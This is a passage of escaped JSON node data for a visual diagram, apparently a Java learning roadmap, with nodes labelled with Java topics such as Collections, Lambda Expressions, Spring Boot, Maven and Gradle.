1197.6267811847088,\n        \"y\": 739.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 307,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6wTRN2PYC6zM_Txkekx53\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1366.9652858056302,\n        \"y\": 632.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iH9wSsOK4a77pS7U0Yu5z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1366.9652858056302,\n        \"y\": 632.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iH9wSsOK4a77pS7U0Yu5z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 632.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Encapsulation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1197.6267811847088,\n        \"y\": 632.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VqLV7kolfRFnvOuJAvzlg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1087.8343015809069,\n        \"y\": 685.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Record\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iH9wSsOK4a77pS7U0Yu5z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1087.8343015809069,\n        \"y\": 685.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"60POZOjwHSdKYL6rfkyEy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 712.0073106597292,\n        \"y\": 780.5225969995055\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zDBW20W2XMCtNTG3emJ_A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 712.0073106597292,\n        \"y\": 780.5225969995055\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dg_UpaO8TzIN7w_QZ1n-6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 981.8343015809069,\n        \"y\": 739.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Initializer Block\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_TTAYrb6QvFGyTvK7cA-7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 210,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 981.8343015809069,\n        \"y\": 739.5536247250346\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 210,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3r0Er9XZHovIZz3gNyj4A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 981.8343015809069,\n        \"y\": 792.3789236651032\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pass by Value / Pass by Reference\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dg_UpaO8TzIN7w_QZ1n-6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 523,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 523,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 981.8343015809069,\n        \"y\": 792.3789236651032\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 523,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c--y6GcKj9am0CBdu_Hnt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 684.5892688143869\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Annotations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 684.5892688143869\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"00_q6I95eO-PUUrKpPFY8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 632.0714467697107\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lambda Expressions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c--y6GcKj9am0CBdu_Hnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 632.0714467697107\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kdxy8Zssnc5lJjdmjUyMc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 737.107090859063\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Modules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c--y6GcKj9am0CBdu_Hnt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 737.107090859063\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a-EQiBUlSgdZba1mW36op\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 937.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Array vs ArrayList\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 937.5225017715202\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XjkNd5WJ9yxW48dwHQNkZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 990.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Set\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 990.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eKtdDtiJygKQ4PuEylFQY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1367.3054548486343,\n        \"y\": 990.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Map\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1367.3054548486343,\n        \"y\": 990.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ThoWhXb4vUvNfE70_wMfa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 1043.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Queue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DWO2-EPIUeKK5aQGiTuKc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 1043.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DzfE_9WLAp-BrG3C1-MwU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 1096.5225017715204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eL4pc6SaNiKP48PzN7mNe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 1096.5225017715204\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DWO2-EPIUeKK5aQGiTuKc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1367.3054548486343,\n        \"y\": 1043.5225017715202\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dequeue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1367.3054548486343,\n        \"y\": 1043.5225017715202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-17LFO72I8RKjJRMXct9k\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1367.3054548486343,\n        \"y\": 1096.5225017715204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Iterator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DWO2-EPIUeKK5aQGiTuKc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1367.3054548486343,\n        \"y\": 1096.5225017715204\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PX4ZcshR0QtsPElyZzSel\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1314.3696984675892,\n        \"y\": 898.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Collections\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1314.3696984675892,\n        \"y\": 898.3203519457165\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"eL4pc6SaNiKP48PzN7mNe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 1152.0111884486032\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Generic Collections\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1263.3696984675892,\n        \"y\": 1152.0111884486032\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z_rjrHtWp1Zp1G2YN0KfD\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1638.356875320924,\n        \"y\": 831.2420992601204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 109,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 109\n      },\n      \"positionAbsolute\": {\n        \"x\": 1638.356875320924,\n        \"y\": 831.2420992601204\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 109\n      }\n    },\n    {\n      \"id\": \"l9fxK8K9fcUqR7hs5TkWU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 789.6249129037391\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Optionals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 789.6249129037391\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g9P3548F38tYGjevBc42w\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 520.5536247250346\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exception Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"00_q6I95eO-PUUrKpPFY8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 520.5536247250346\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D1woaibP6qkuqmBQkZrhO\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1174.7508238192552,\n        \"y\": 1178.2990031143668\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        },\n        \"oldId\": \"FY6qOOwg_pdFKoYPVOeys\"\n      },\n      \"zIndex\": 999,\n      \"width\": 78,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 78,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1174.7508238192552,\n        \"y\": 1178.2990031143668\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 78,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"_W84u4UXMSY0zvy6RJvFi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1501.4989519840194\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Web Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LgpsnXV0CTvTspjnsd0Rd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1501.4989519840194\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xoryfi4SpJlkz-PV05ql6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1315.2594233874954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Spring (Spring Boot)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1315.2594233874954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kN-mXxqUPNJNsJGQ0U_7J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1421.2594233874954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Play Framework\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xoryfi4SpJlkz-PV05ql6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1421.2594233874954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w-kcKPh8U0P_jtT90_1Xy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1368.2594233874954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Quarkus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OrkJa48HIDmrLOgCBpimA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1250.6499336025647,\n        \"y\": 1368.2594233874954\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aqTfDatV26H0rOAhyQo0q\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1246.1499336025647,\n        \"y\": 1255.4420481297732\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Spring Boot is recommended\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1246.1499336025647,\n        \"y\": 1255.4420481297732\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"81N1cZLue_Ii0uD5CV6kZ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1502.013322952089\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Build Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1502.013322952089\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VdL_fAHxmRbuF0J627beA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1317.2276953646335\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Maven\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6FMj9tMAQPii_1kLtHJLk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1317.2276953646335\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rmDIm5dqtdlNfPhvpqS7-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1370.2276953646335\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Gradle\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"6FMj9tMAQPii_1kLtHJLk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1370.2276953646335\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6FMj9tMAQPii_1kLtHJLk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1423.2276953646335\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Bazel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1006.8720474064457,\n        \"y\": 1423.2276953646335\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zItXmuluDtl6HkTYQ7qMh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 941.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dependency Injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 941.8599244017678\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M0ybgK1JCycXhZ1dEpCFo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 1109.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"I/O Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 1109.3203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NowpzyPVFcX082j5YS5i8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 1162.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"File Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JeMG0gU8IVRBZgczjXmPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1538.5338845627668,\n        \"y\": 1162.3203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H-TpLxAx_BnJhyFc4HK6M\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1354.1499336025647,\n        \"y\": 1273.5598732714204\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"v\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"aqTfDatV26H0rOAhyQo0q\"\n      },\n      \"zIndex\": 999,\n      \"width\": 25,\n      